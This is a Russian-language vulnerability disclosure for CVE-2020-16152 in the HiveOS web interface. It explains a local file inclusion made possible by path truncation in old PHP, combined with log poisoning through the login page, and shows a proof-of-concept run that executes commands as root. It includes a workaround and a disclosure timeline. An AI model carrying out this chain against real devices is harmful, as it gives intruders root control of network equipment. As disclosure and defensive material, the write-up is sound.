
Объяснение и PoC для CVE-2020-16152
| Производитель | Aerohive Networks / Extreme Networks |
| Название продукта | HiveOS / IQ Engine |
| Версия продукта | Протестировано на 10.0r8a build-242466 и старше |
Веб-интерфейс администрирования Aerohive/Extreme Networks HiveOS (NetConfig) уязвим для LFI, поскольку использует старую версию PHP, уязвимую для атак с усечением строк. Злоумышленник может использовать это в сочетании с отравлением логов для получения прав root на уязвимой точке доступа.
В качестве обходного пути можно отключить веб-интерфейс с помощью следующей команды: no system web-server hive-UI enable для защиты от этой уязвимости.
Параметр _page, используемый для вызовов action/AhBaseAction.class.php5 по url /action.php5, служит для динамической загрузки PHP-класса, используемого для страницы, как показано во фрагменте кода ниже ($pageName берется из $_POST['_page']):
protected function getAccess($pageName,$actionType) {
$filename = $pageName.'Access.class.php5';
$classname = $pageName.'Access';
if (include_once $filename) {
require_once $filename;
return new $classname($this->user,$actionType);
}
...
}
Как видно, у этого имени файла нет префикса, что позволяет обходить путь к произвольным файлам. Однако, поскольку есть суффикс, невозможно включить любой файл. Так как версия PHP на точке доступа довольно старая, мы можем обойти это (подробнее):
$ php-cgi -v
PHP Warning: PHP Startup: Cannot dynamically load sockets.so - dynamic modules are not supported in Unknown on line 0
PHP 5.2.17 (cgi-fcgi) (built: May 28 2020 23:36:34)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2010 Zend Technologies
Заполнив путь достаточным количеством символов /, мы можем добиться полного усечения суффикса Access.class.php5 и получить возможность включать произвольные файлы.
Поскольку неудачные попытки входа регистрируются в /tmp/messages и включают введенное имя пользователя, мы можем использовать страницу входа для отравления /tmp/messages, а затем выполнить код из него с помощью атаки LFI, описанной выше.
Хотя сам веб-сервер работает от непривилегированного пользователя, экземпляр php-cgi, используемый hiawatha, на самом деле работает от root, что означает, что весь PHP-код выполняется с правами root:
$ ps | egrep "php|hiawatha"
2237 root 9980 S /usr/local/bin/php-cgi -b 127.0.0.1:2008
12088 admin 20840 S /usr/local/sbin/hiawatha
$ ./CVE-2020-16152.py 192.168.0.166 'echo -e "\n\n";id' | tail
2020-08-30 13:56:28 notice root: ntpclient: [ntpclient]Set time - Sun Aug 30 13:56:28 GMT+1:00 2020
2020-08-30 13:56:28 notice root: Connect [0.aerohive.pool.ntp.org] successful
2020-08-30 13:56:54 info ah_dcd: application: get track-ip trigger access console request: cancel.
2020-08-30 13:57:00 notice root: ntpclient: [ntpclient]Set time - Sun Aug 30 13:57:00 GMT+1:00 2020
2020-08-30 13:57:00 notice root: Connect [0.aerohive.pool.ntp.org] successful
2020-08-30 13:57:31 notice ah_webui: security: Admin "<
uid=0(root) gid=0(root)
| 2019/02/17 | Проблема сообщена Aerohive Networks |
| 2019/02/19 | Подтверждение проблемы получено от вендора, предложен обходной путь (отключение веб-интерфейса) |
| 2019/02/25 | Подтверждение проблемы вендором |
| 2019/03/18 | Пинг? |
| 2019/05/30 | Пинг? |
| 2019/06/03 | Вендор предложил телефонный звонок, я ответил контактными данными. Звонка не было |
| 2019/08/12 | Пинг? Вендор ответил, что проблема передана на внутреннее рассмотрение |
| 2019/09/23 | Пинг? |
| 2019/09/25 | Вендор ответил, что проблема LFI еще не решена |
| 2020/07/30 | Обнаружено, что проблема все еще не исправлена в HiveOS 10.0r8a build-242466 от 05/2020. Зарезервирован CVE и сообщено о крайнем сроке публикации 2020/09/01, если исправление не будет активно разрабатываться |
| 2020/09/01 | До сих пор нет ответа от вендора, публикация деталей и PoC |